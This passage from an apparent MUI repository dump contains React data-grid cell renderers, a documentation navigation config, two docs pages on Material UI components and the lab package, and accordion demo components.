{\n        pathname: '/experiments/docs/first-level-child-4',\n        title: 'New feature',\n        newFeature: true,\n      },\n      {\n        pathname: '/experiments/docs/first-level-child-5',\n        title: 'Planned feature',\n        planned: true,\n      },\n      {\n        pathname: '/experiments/docs/first-level-child-6',\n        title: 'Unstable feature',\n        unstable: true,\n      },\n      {\n        pathname: '/experiments/docs/first-level-child-7',\n        title: 'Beta feature',\n        beta: true,\n      },\n      {\n        pathname: '/experiments/docs/first-level-child-8',\n        title: 'Legacy feature',\n        legacy: true,\n      },\n      {\n        pathname: '/experiments/docs/first-level-child-9',\n        title: 'OverflowWithLongApiComponent',\n        plan: 'pro',\n      },\n    ],\n  },\n  {\n    pathname: '/x/react-data-grid-group',\n    title: 'Test: Data Grid e2e',\n    children: [\n      { pathname: '/x/react-data-grid', title: 'Overview' },\n      { pathname: '/x/react-data-grid/features' },\n      { pathname: '/x/react-data-grid/getting-started' },\n      { pathname: '/x/react-data-grid/layout' },\n      {\n        pathname: '/x/react-data-grid/columns',\n        children: [\n          { pathname: '/x/react-data-grid/column-definition' },\n          { pathname: '/x/react-data-grid/column-dimensions' },\n          { pathname: '/x/react-data-grid/column-visibility' },\n          { pathname: '/x/react-data-grid/column-header' },\n          { pathname: '/x/react-data-grid/column-menu' },\n          { pathname: '/x/react-data-grid/column-spanning' },\n          { pathname: '/x/react-data-grid/column-groups' },\n          { pathname: '/x/react-data-grid/column-ordering', plan: 'pro' },\n          { pathname: '/x/react-data-grid/column-pinning', plan: 'pro' },\n        ],\n      },\n      {\n        pathname: '/x/react-data-grid/rows',\n        children: [\n          { pathname: '/x/react-data-grid/row-definition' },\n          { pathname: '/x/react-data-grid/row-updates' },\n          { pathname: '/x/react-data-grid/row-height' },\n          { pathname: '/x/react-data-grid/row-spanning', title: 'Row spanning 🚧' },\n          { pathname: '/x/react-data-grid/master-detail', plan: 'pro' },\n          { pathname: '/x/react-data-grid/row-ordering', plan: 'pro' },\n          { pathname: '/x/react-data-grid/row-pinning', plan: 'pro' },\n          { pathname: '/x/react-data-grid/row-recipes', title: 'Recipes' },\n        ],\n      },\n      { pathname: '/x/react-data-grid/editing' },\n      { pathname: '/x/react-data-grid/clipboard', title: 'Copy and paste', newFeature: true },\n      { pathname: '/x/react-data-grid/performance' },\n      {\n        pathname: '/x/react-data-grid-group-pivot',\n        title: 'Group & Pivot',\n        children: [\n          { pathname: '/x/react-data-grid/tree-data', plan: 'pro' },\n          { pathname: '/x/react-data-grid/row-grouping', plan: 'premium' },\n          { pathname: '/x/react-data-grid/aggregation', title: 'Aggregation', plan: 'premium' },\n          { pathname: '/x/react-data-grid/pivoting', title: 'Pivoting 🚧', plan: 'premium' },\n        ],\n      },\n      {\n        title: 'Recipes',\n        pathname: '/x/react-data-grid/recipes',\n        children: [\n          { pathname: '/x/react-data-grid/recipes-editing', title: 'Editing' },\n          { pathname: '/x/react-data-grid/recipes-row-grouping', title: 'Row grouping' },\n        ],\n      },\n      {\n        pathname: '/x/api/data-grid-group',\n        title: 'API Reference',\n        children: [\n          { pathname: '/x/api/data-grid', title: 'Index' },\n          {\n            pathname: '/x/api/data-grid-interfaces-group',\n            subheader: 'Interfaces',\n            children: [\n              { pathname: '/x/api/data-grid/grid-api', title: 'GridApi' },\n              { pathname: '/x/api/data-grid/grid-cell-params', title: 'GridCellParams' },\n              { pathname: '/x/api/data-grid/grid-col-def', title: 'GridColDef' },\n              {\n                pathname: '/x/api/data-grid/grid-single-select-col-def',\n                title: 'GridSingleSelectColDef',\n              },\n\n              { pathname: '/x/api/data-grid/grid-actions-col-def', title: 'GridActionsColDef' },\n              {\n                pathname: '/x/api/data-grid/grid-export-state-params',\n                title: 'GridExportStateParams',\n              },\n              { pathname: '/x/api/data-grid/grid-filter-item', title: 'GridFilterItem' },\n              { pathname: '/x/api/data-grid/grid-filter-model', title: 'GridFilterModel' },\n              { pathname: '/x/api/data-grid/grid-filter-operator', title: 'GridFilterOperator' },\n              {\n                pathname: '/x/api/data-grid/grid-row-class-name-params',\n                title: 'GridRowClassNameParams',\n              },\n              { pathname: '/x/api/data-grid/grid-row-params', title: 'GridRowParams' },\n              {\n                pathname: '/x/api/data-grid/grid-row-spacing-params',\n                title: 'GridRowSpacingParams',\n              },\n              {\n                pathname: '/x/api/data-grid/grid-aggregation-function',\n                title: 'GridAggregationFunction',\n              },\n              {\n                pathname: '/x/api/data-grid/grid-csv-export-options',\n                title: 'GridCsvExportOptions',\n              },\n              {\n                pathname: '/x/api/data-grid/grid-print-export-options',\n                title: 'GridPrintExportOptions',\n              },\n              {\n                pathname: '/x/api/data-grid/grid-excel-export-options',\n                title: 'GridExcelExportOptions',\n              },\n            ],\n          },\n        ],\n      },\n    ],\n  },\n  {\n    pathname: '/x/migration-group',\n    title: 'Test: Migration',\n    children: [\n      {\n        pathname: '/x/migration-v6',\n        subheader: 'Upgrade to v6',\n        children: [\n          { pathname: '/x/migration/migration-data-grid-v5', title: 'Breaking changes: Data Grid' },\n          {\n            pathname: '/x/migration/migration-pickers-v5',\n            title: 'Breaking changes: Date and Time Pickers',\n          },\n        ],\n      },\n      {\n        pathname: '/x/migration-earlier',\n        subheader: 'Earlier versions',\n        children: [\n          {\n            pathname: '/x/migration/migration-pickers-lab',\n            title: 'Migration from lab to v5 (Date and Time Pickers)',\n          },\n          {\n            pathname: '/x/migration/migration-data-grid-v4',\n            title: 'Migration from v4 to v5 (Data Grid)',\n          },\n        ],\n      },\n    ],\n  },\n];\n\nexport default pages;\n"
  },
  {
    "path": "docs/data/experiments/renderers/renderAvatar.js",
    "content": "import Avatar from '@mui/material/Avatar';\n\nexport function renderAvatar(params) {\n  if (params.value == null) {\n    return '';\n  }\n\n  return (\n    <Avatar style={{ backgroundColor: params.value.color }}>\n      {params.value.name.toUpperCase().substring(0, 1)}\n    </Avatar>\n  );\n}\n\nexport default renderAvatar;\n"
  },
  {
    "path": "docs/data/experiments/renderers/renderCountry.js",
    "content": "import * as React from 'react';\nimport { useGridApiContext } from '@mui/x-data-grid';\n// eslint-disable-next-line no-restricted-imports\nimport { COUNTRY_ISO_OPTIONS } from '@mui/x-data-grid-generator/services/static-data';\nimport Autocomplete, { autocompleteClasses } from '@mui/material/Autocomplete';\nimport Box from '@mui/material/Box';\nimport InputBase from '@mui/material/InputBase';\nimport { styled } from '@mui/material/styles';\n\nconst Country = React.memo(function Country(props) {\n  const { value } = props;\n\n  return (\n    <Box\n      sx={{\n        width: '100%',\n        display: 'flex',\n        alignItems: 'center',\n        '&  > img': {\n          mr: 0.5,\n          flexShrink: 0,\n          width: '20px',\n        },\n      }}\n    >\n      <img\n        loading=\"lazy\"\n        width=\"20\"\n        src={`https://flagcdn.com/w20/${value.code.toLowerCase()}.png`}\n        srcSet={`https://flagcdn.com/w40/${value.code.toLowerCase()}.png 2x`}\n        alt=\"\"\n      />\n      <Box component=\"span\" sx={{ overflow: 'hidden', textOverflow: 'ellipsis' }}>\n        {value.label}\n      </Box>\n    </Box>\n  );\n});\n\nconst StyledAutocomplete = styled(Autocomplete)(({ theme }) => ({\n  height: '100%',\n  [`& .${autocompleteClasses.inputRoot}`]: {\n    ...theme.typography.body2,\n    padding: '1px 0',\n    height: '100%',\n    '& input': {\n      padding: '0 16px',\n      height: '100%',\n    },\n  },\n}));\n\nfunction EditCountry(props) {\n  const { id, value, field } = props;\n\n  const apiRef = useGridApiContext();\n\n  const handleChange = React.useCallback(\n    async (event, newValue) => {\n      await apiRef.current.setEditCellValue({ id, field, value: newValue }, event);\n      apiRef.current.stopCellEditMode({ id, field });\n    },\n    [apiRef, field, id],\n  );\n\n  return (\n    <StyledAutocomplete\n      value={value}\n      onChange={handleChange}\n      options={COUNTRY_ISO_OPTIONS}\n      getOptionLabel={(option) => option.label}\n      autoHighlight\n      fullWidth\n      open\n      disableClearable\n      renderOption={(optionProps, option) => (\n        <Box\n          component=\"li\"\n          sx={{\n            '& > img': {\n              mr: 1.5,\n              flexShrink: 0,\n            },\n          }}\n          {...optionProps}\n          key={option.code}\n        >\n          <img\n            loading=\"lazy\"\n            width=\"20\"\n            src={`https://flagcdn.com/w20/${option.code.toLowerCase()}.png`}\n            srcSet={`https://flagcdn.com/w40/${option.code.toLowerCase()}.png 2x`}\n            alt=\"\"\n          />\n          {option.label}\n        </Box>\n      )}\n      renderInput={(params) => (\n        <InputBase\n          autoFocus\n          fullWidth\n          id={params.id}\n          inputProps={{\n            ...params.inputProps,\n            autoComplete: 'new-password', // disable autocomplete and autofill\n          }}\n          {...params.InputProps}\n        />\n      )}\n    />\n  );\n}\n\nexport function renderCountry(params) {\n  if (params.value == null) {\n    return '';\n  }\n\n  return <Country value={params.value} />;\n}\n\nexport function renderEditCountry(params) {\n  return <EditCountry {...params} />;\n}\n\nexport default renderCountry;\n"
  },
  {
    "path": "docs/data/experiments/renderers/renderEmail.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\n\nconst Link = styled('a')({\n  textOverflow: 'ellipsis',\n  whiteSpace: 'nowrap',\n  overflow: 'hidden',\n  color: 'inherit',\n});\n\nconst DemoLink = React.memo(function DemoLink(props) {\n  const handleClick = (event) => {\n    event.preventDefault();\n    event.stopPropagation();\n  };\n\n  return (\n    <Link tabIndex={props.tabIndex} onClick={handleClick} href={props.href}>\n      {props.children}\n    </Link>\n  );\n});\n\nexport function renderEmail(params) {\n  const email = params.value ?? '';\n\n  return (\n    <DemoLink href={`mailto:${email}`} tabIndex={params.tabIndex}>\n      {email}\n    </DemoLink>\n  );\n}\n\nexport default renderEmail;\n"
  },
  {
    "path": "docs/data/experiments/renderers/renderIncoterm.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\nimport Tooltip from '@mui/material/Tooltip';\nimport InfoIcon from '@mui/icons-material/Info';\nimport { useGridApiContext } from '@mui/x-data-grid';\n// eslint-disable-next-line no-restricted-imports\nimport { INCOTERM_OPTIONS } from '@mui/x-data-grid-generator/services/static-data';\n\nconst Incoterm = React.memo(function Incoterm(props) {\n  const { value } = props;\n\n  if (!value) {\n    return null;\n  }\n\n  const valueStr = value.toString();\n  const tooltip = valueStr.slice(valueStr.indexOf('(') + 1, valueStr.indexOf(')'));\n  const code = valueStr.slice(0, valueStr.indexOf('(')).trim();\n\n  return (\n    <Box\n      sx={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between' }}\n    >\n      <span>{code}</span>\n      <Tooltip title={tooltip}>\n        <InfoIcon sx={{ color: '#2196f3', alignSelf: 'center', ml: '8px' }} />\n      </Tooltip>\n    </Box>\n  );\n});\n\nfunction EditIncoterm(props) {\n  const { id, value, field } = props;\n\n  const apiRef = useGridApiContext();\n\n  const handleChange = async (event) => {\n    await apiRef.current.setEditCellValue(\n      { id, field, value: event.target.value },\n      event,\n    );\n    apiRef.current.stopCellEditMode({ id, field });\n  };\n\n  const handleClose = (event, reason) => {\n    if (reason === 'backdropClick') {\n      apiRef.current.stopCellEditMode({ id, field });\n    }\n  };\n\n  return (\n    <Select\n      value={value}\n      onChange={handleChange}\n      MenuProps={{\n        onClose: handleClose,\n      }}\n      sx={{\n        height: '100%',\n        '& .MuiSelect-select': {\n          display: 'flex',\n          alignItems: 'center',\n          pl: 1,\n        },\n      }}\n      autoFocus\n      fullWidth\n      open\n    >\n      {INCOTERM_OPTIONS.map((option) => {\n        const tooltip = option.slice(option.indexOf('(') + 1, option.indexOf(')'));\n        const code = option.slice(0, option.indexOf('(')).trim();\n\n        return (\n          <MenuItem key={option} value={option}>\n            <ListItemIcon sx={{ minWidth: 36 }}>{code}</ListItemIcon>\n            <ListItemText primary={tooltip} sx={{ overflow: 'hidden' }} />\n          </MenuItem>\n        );\n      })}\n    </Select>\n  );\n}\n\nexport function renderIncoterm(params) {\n  return <Incoterm value={params.value} />;\n}\n\nexport function renderEditIncoterm(params) {\n  return <EditIncoterm {...params} />;\n}\n\nexport default renderIncoterm;\n"
  },
  {
    "path": "docs/data/experiments/renderers/renderProgress.js",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { useGridApiContext } from '@mui/x-data-grid';\nimport Slider, { sliderClasses } from '@mui/material/Slider';\nimport Tooltip from '@mui/material/Tooltip';\nimport { alpha, styled } from '@mui/material/styles';\nimport { debounce } from '@mui/material/utils';\n\nconst Center = styled('div')({\n  height: '100%',\n  display: 'flex',\n  alignItems: 'center',\n});\n\nconst Element = styled('div')(({ theme }) => ({\n  border: `1px solid ${(theme.vars || theme).palette.divider}`,\n  position: 'relative',\n  overflow: 'hidden',\n  width: '100%',\n  height: 26,\n  borderRadius: 2,\n}));\n\nconst Value = styled('div')({\n  position: 'absolute',\n  lineHeight: '24px',\n  width: '100%',\n  display: 'flex',\n  justifyContent: 'center',\n});\n\nconst Bar = styled('div')({\n  height: '100%',\n  '&.low': {\n    backgroundColor: '#f44336',\n  },\n  '&.medium': {\n    backgroundColor: '#efbb5aa3',\n  },\n  '&.high': {\n    backgroundColor: '#088208a3',\n  },\n});\n\nconst ProgressBar = React.memo(function ProgressBar(props) {\n  const { value } = props;\n  const valueInPercent = value * 100;\n\n  return (\n    <Element>\n      <Value>{`${valueInPercent.toLocaleString()} %`}</Value>\n      <Bar\n        className={clsx({\n          low: valueInPercent < 30,\n          medium: valueInPercent >= 30 && valueInPercent <= 70,\n          high: valueInPercent > 70,\n        })}\n        style={{ maxWidth: `${valueInPercent}%` }}\n      />\n    </Element>\n  );\n});\n\nconst StyledSlider = styled(Slider)(({ theme }) => ({\n  display: 'flex',\n  height: '100%',\n  width: '100%',\n  alignItems: 'center',\n  justifyContent: 'center',\n  padding: 0,\n  borderRadius: 0,\n  [`& .${sliderClasses.rail}`]: {\n    height: '100%',\n    backgroundColor: 'transparent',\n  },\n  [`& .${sliderClasses.track}`]: {\n    height: '100%',\n    transition: theme.transitions.create('background-color', {\n      duration: theme.transitions.duration.shorter,\n    }),\n    '&.low': {\n      backgroundColor: '#f44336',\n    },\n    '&.medium': {\n      backgroundColor: '#efbb5aa3',\n    },\n    '&.high': {\n      backgroundColor: '#088208a3',\n    },\n  },\n  [`& .${sliderClasses.thumb}`]: {\n    height: '100%',\n    width: 5,\n    borderRadius: 0,\n    marginTop: 0,\n    backgroundColor: alpha('#000000', 0.2),\n  },\n}));\n\nconst ValueLabelComponent = React.memo(function ValueLabelComponent(props) {\n  const { children, open, value } = props;\n\n  return (\n    <Tooltip open={open} enterTouchDelay={0} placement=\"top\" title={value}>\n      {children}\n    </Tooltip>\n  );\n});\n\nfunction EditProgress(props) {\n  const { id, value, field } = props;\n  const [valueState, setValueState] = React.useState(Number(value));\n\n  const apiRef = useGridApiContext();\n\n  const updateCellEditProps = React.useCallback(\n    (newValue) => {\n      apiRef.current.setEditCellValue({ id, field, value: newValue });\n    },\n    [apiRef, field, id],\n  );\n\n  const debouncedUpdateCellEditProps = React.useMemo(\n    () => debounce(updateCellEditProps, 60),\n    [updateCellEditProps],\n  );\n\n  const handleChange = (event, newValue) => {\n    setValueState(newValue);\n    debouncedUpdateCellEditProps(newValue);\n  };\n\n  React.useEffect(() => {\n    setValueState(Number(value));\n  }, [value]);\n\n  const handleRef = (element) => {\n    if (element) {\n      element.querySelector('[type=\"range\"]').focus();\n    }\n  };\n\n  return (\n    <StyledSlider\n      ref={handleRef}\n      classes={{\n        track: clsx({\n          low: valueState < 0.3,\n          medium: valueState >= 0.3 && valueState <= 0.7,\n          high: valueState > 0.7,\n        }),\n      }}\n      value={valueState}\n      max={1}\n      step={0.00001}\n      onChange={handleChange}\n      components={{ ValueLabel: ValueLabelComponent }}\n      valueLabelDisplay=\"auto\"\n      valueLabelFormat={(newValue) => `${(newValue * 100).toLocaleString()} %`}\n    />\n  );\n}\n\nexport function renderProgress(params) {\n  if (params.value == null) {\n    return '';\n  }\n\n  return (\n    <Center>\n      <ProgressBar value={params.value} />\n    </Center>\n  );\n}\n\nexport function renderEditProgress(params) {\n  return <EditProgress {...params} />;\n}\n\nexport default renderProgress;\n"
  },
  {
    "path": "docs/data/experiments/renderers/renderRating.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Rating from '@mui/material/Rating';\nimport { useGridApiContext } from '@mui/x-data-grid';\n\nconst RatingValue = React.memo(function RatingValue(props) {\n  const { value } = props;\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        alignItems: 'center',\n        lineHeight: '24px',\n        color: 'text.secondary',\n      }}\n    >\n      <Rating value={value} sx={{ mr: 1 }} readOnly />{' '}\n      {Math.round(Number(value) * 10) / 10}\n    </Box>\n  );\n});\n\nfunction EditRating(props) {\n  const { id, value, field } = props;\n\n  const apiRef = useGridApiContext();\n\n  const changedThroughKeyboard = React.useRef(false);\n\n  const handleChange = async (event) => {\n    await apiRef.current.setEditCellValue(\n      { id, field, value: Number(event.target.value) },\n      event,\n    );\n    if (!changedThroughKeyboard.current) {\n      apiRef.current.stopCellEditMode({ id, field });\n    }\n    changedThroughKeyboard.current = false;\n  };\n\n  const handleRef = (element) => {\n    if (element) {\n      if (value !== 0) {\n        element.querySelector(`input[value=\"${value}\"]`).focus();\n      } else {\n        element.querySelector('input[value=\"\"]').focus();\n      }\n    }\n  };\n\n  const handleKeyDown = (event) => {\n    if (event.key.startsWith('Arrow')) {\n      changedThroughKeyboard.current = true;\n    } else {\n      changedThroughKeyboard.current = false;\n    }\n  };\n\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        alignItems: 'center',\n        lineHeight: '24px',\n        color: 'text.secondary',\n        mr: 1,\n      }}\n    >\n      <Rating\n        ref={handleRef}\n        name=\"rating\"\n        value={Number(value)}\n        precision={1}\n        onChange={handleChange}\n        sx={{ mr: 1 }}\n        onKeyDown={handleKeyDown}\n      />\n      {Number(value)}\n    </Box>\n  );\n}\n\nexport function renderRating(params) {\n  if (params.value == null) {\n    return '';\n  }\n\n  return <RatingValue value={params.value} />;\n}\n\nexport function renderEditRating(params) {\n  return <EditRating {...params} />;\n}\n\nexport default renderRating;\n"
  },
  {
    "path": "docs/data/experiments/renderers/renderSparkline.js",
    "content": "import { SparkLineChart } from '@mui/x-charts/SparkLineChart';\n\nexport function renderSparkline(params) {\n  if (params.value == null) {\n    return '';\n  }\n\n  return (\n    <SparkLineChart\n      data={params.value}\n      width={params.colDef.computedWidth}\n      plotType=\"bar\"\n    />\n  );\n}\n\nexport default renderSparkline;\n"
  },
  {
    "path": "docs/data/experiments/renderers/renderStatus.js",
    "content": "import * as React from 'react';\nimport Chip from '@mui/material/Chip';\nimport ListItemIcon from '@mui/material/ListItemIcon';\nimport ListItemText from '@mui/material/ListItemText';\nimport MenuItem from '@mui/material/MenuItem';\nimport Select from '@mui/material/Select';\nimport { styled } from '@mui/material/styles';\nimport ReportProblemIcon from '@mui/icons-material/ReportProblem';\nimport InfoIcon from '@mui/icons-material/Info';\nimport AutorenewIcon from '@mui/icons-material/Autorenew';\nimport DoneIcon from '@mui/icons-material/Done';\nimport {\n  GridEditModes,\n  useGridApiContext,\n  useGridRootProps,\n} from '@mui/x-data-grid';\n// eslint-disable-next-line no-restricted-imports\nimport { STATUS_OPTIONS } from '@mui/x-data-grid-generator/services/static-data';\n\nconst StyledChip = styled(Chip)(({ theme }) => ({\n  justifyContent: 'left',\n  '& .icon': {\n    color: 'inherit',\n  },\n  '&.Open': {\n    color: (theme.vars || theme).palette.info.dark,\n    border: `1px solid ${(theme.vars || theme).palette.info.main}`,\n  },\n  '&.Filled': {\n    color: (theme.vars || theme).palette.success.dark,\n    border: `1px solid ${(theme.vars || theme).palette.success.main}`,\n  },\n  '&.PartiallyFilled': {\n    color: (theme.vars || theme).palette.warning.dark,\n    border: `1px solid ${(theme.vars || theme).palette.warning.main}`,\n  },\n  '&.Rejected': {\n    color: (theme.vars || theme).palette.error.dark,\n    border: `1px solid ${(theme.vars || theme).palette.error.main}`,\n  },\n}));\n\nconst Status = React.memo((props) => {\n  const { status } = props;\n\n  let icon = null;\n  if (status === 'Rejected') {\n    icon = <ReportProblemIcon className=\"icon\" />;\n  } else if (status === 'Open') {\n    icon = <InfoIcon className=\"icon\" />;\n  } else if (status === 'PartiallyFilled') {\n    icon = <AutorenewIcon className=\"icon\" />;\n  } else if (status === 'Filled') {\n    icon = <DoneIcon className=\"icon\" />;\n  }\n\n  let label = status;\n  if (status === 'PartiallyFilled') {\n    label = 'Partially Filled';\n  }\n\n  return (\n    <StyledChip\n      className={status}\n      icon={icon}\n      size=\"small\"\n      label={label}\n      variant=\"outlined\"\n    />\n  );\n});\n\nfunction EditStatus(props) {\n  const { id, value, field } = props;\n  const rootProps = useGridRootProps();\n  const apiRef = useGridApiContext();\n\n  const handleChange = async (event) => {\n    const isValid = await apiRef.current.setEditCellValue({\n      id,\n      field,\n      value: event.target.value,\n    });\n\n    if (isValid && rootProps.editMode === GridEditModes.Cell) {\n      apiRef.current.stopCellEditMode({ id, field, cellToFocusAfter: 'below' });\n    }\n  };\n\n  const handleClose = (event, reason) => {\n    if (reason === 'backdropClick') {\n      apiRef.current.stopCellEditMode({ id, field, ignoreModifications: true });\n    }\n  };\n\n  return (\n    <Select\n      value={value}\n      onChange={handleChange}\n      MenuProps={{\n        onClose: handleClose,\n      }}\n      sx={{\n        height: '100%',\n        '& .MuiSelect-select': {\n          display: 'flex',\n          alignItems: 'center',\n          pl: 1,\n        },\n      }}\n      autoFocus\n      fullWidth\n      open\n    >\n      {STATUS_OPTIONS.map((option) => {\n        let IconComponent = null;\n        if (option === 'Rejected') {\n          IconComponent = ReportProblemIcon;\n        } else if (option === 'Open') {\n          IconComponent = InfoIcon;\n        } else if (option === 'PartiallyFilled') {\n          IconComponent = AutorenewIcon;\n        } else if (option === 'Filled') {\n          IconComponent = DoneIcon;\n        }\n\n        let label = option;\n        if (option === 'PartiallyFilled') {\n          label = 'Partially Filled';\n        }\n\n        return (\n          <MenuItem key={option} value={option}>\n            <ListItemIcon sx={{ minWidth: 36 }}>\n              <IconComponent fontSize=\"small\" />\n            </ListItemIcon>\n            <ListItemText primary={label} sx={{ overflow: 'hidden' }} />\n          </MenuItem>\n        );\n      })}\n    </Select>\n  );\n}\n\nexport function renderStatus(params) {\n  if (params.value == null) {\n    return '';\n  }\n\n  return <Status status={params.value} />;\n}\n\nexport function renderEditStatus(params) {\n  return <EditStatus {...params} />;\n}\n\nexport default renderStatus;\n"
  },
  {
    "path": "docs/data/material/all-components/all-components.md",
    "content": "# Material UI components\n\n<p class=\"description\">Every Material UI component available so far.</p>\n\nMaterial UI aims to provide building blocks for developers to create great user interfaces using the Material Design guidelines as a reference, which we strive to follow where practical.\nThe library doesn't necessarily implement the exact specs of every component or feature—where official guidelines are incomplete or contradictory, maintainers apply common sense along with the latest standards in web development.\n\n## Inputs\n\n{{\"component\": \"modules/components/MaterialUIComponents/MaterialInputComponents.js\"}}\n\n## Data display\n\n{{\"component\": \"modules/components/MaterialUIComponents/MaterialDataDisplayComponents.js\"}}\n\n## Feedback\n\n{{\"component\": \"modules/components/MaterialUIComponents/MaterialFeedbackComponents.js\"}}\n\n## Surface\n\n{{\"component\": \"modules/components/MaterialUIComponents/MaterialSurfaceComponents.js\"}}\n\n## Navigation\n\n{{\"component\": \"modules/components/MaterialUIComponents/MaterialNavigationComponents.js\"}}\n\n## Layout\n\n{{\"component\": \"modules/components/MaterialUIComponents/MaterialLayoutComponents.js\"}}\n\n## Lab\n\n{{\"component\": \"modules/components/MaterialUIComponents/MaterialLabComponents.js\"}}\n\n## Utils\n\n{{\"component\": \"modules/components/MaterialUIComponents/MaterialUtilComponents.js\"}}\n"
  },
  {
    "path": "docs/data/material/components/about-the-lab/about-the-lab.md",
    "content": "# About the lab\n\n<p class=\"description\">This package hosts the incubator components that are not yet ready to move to the core.</p>\n\nThe main difference between the lab and the core is how the components are versioned. Having a separate lab package allows us to release breaking changes when necessary while the core package follows a [slower-moving policy](https://mui.com/versions/#release-frequency).\n\nAs developers use and test the components and report issues, the maintainers learn more about shortcomings of the components: missing features, accessibility issues, bugs, API design, etc. The older and more used a component is, the less likely it is that new issues will be found and subsequently need to introduce breaking changes.\n\nFor a component to be ready to move to the core, the following criteria are considered:\n\n- It needs to be **used**. We use Google Analytics in the documentation (among other metrics) to evaluate the usage of each component. A lab component with low usage either means that it isn't fully working yet, or that there is low demand for it.\n- It needs to match the **code quality** of the core components. It doesn't have to be perfect to be part of the core, but the component should be reliable enough that developers can depend on it.\n  - Each component needs **type definitions**. It is not currently required that a lab component is typed, but it would need to be typed to move to the core.\n  - Requires good **test coverage**. Some of the lab components don't currently have comprehensive tests.\n- Can it be used as **leverage** to incentivize users to upgrade to the latest major release? The less fragmented the community is, the better.\n- It needs to have a low probability of a **breaking change** in the short/medium future. For instance, if it needs a new feature that will likely require a breaking change, it may be preferable to delay its promotion to the core.\n\n## Installation\n\nTo install and save in your `package.json` dependencies, run one of the following commands:\n\n<!-- #npm-tag-reference -->\n\n<codeblock storageKey=\"package-manager\">\n\n```bash npm\nnpm install @mui/lab@next @mui/material@next\n```\n\n```bash pnpm\npnpm add @mui/lab@next @mui/material@next\n```\n\n```bash yarn\nyarn add @mui/lab@next @mui/material@next\n```\n\n</codeblock>\n\nNote that the lab has a peer dependency on the Material UI components.\n\n## TypeScript\n\nIn order to benefit from the [CSS overrides](/material-ui/customization/theme-components/#theme-style-overrides) and [default prop customization](/material-ui/customization/theme-components/#theme-default-props) with the theme, TypeScript users need to import the following types. Internally, it uses [module augmentation](/material-ui/guides/typescript/#customization-of-theme) to extend the default theme structure with the extension components available in the lab.\n\n```tsx\nimport type {} from '@mui/lab/themeAugmentation';\n\nconst theme = createTheme({\n  components: {\n    MuiTimeline: {\n      styleOverrides: {\n        root: {\n          backgroundColor: 'red',\n        },\n      },\n    },\n  },\n});\n```\n"
  },
  {
    "path": "docs/data/material/components/accordion/AccordionExpandDefault.js",
    "content": "import Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nexport default function AccordionExpandDefault() {\n  return (\n    <div>\n      <Accordion defaultExpanded>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Expanded by default</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Header</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/AccordionExpandDefault.tsx",
    "content": "import Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nexport default function AccordionExpandDefault() {\n  return (\n    <div>\n      <Accordion defaultExpanded>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Expanded by default</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Header</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/AccordionExpandIcon.js",
    "content": "import Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ArrowDownwardIcon from '@mui/icons-material/ArrowDownward';\nimport ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';\n\nexport default function AccordionExpandIcon() {\n  return (\n    <div>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ArrowDownwardIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Accordion 1</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ArrowDropDownIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Accordion 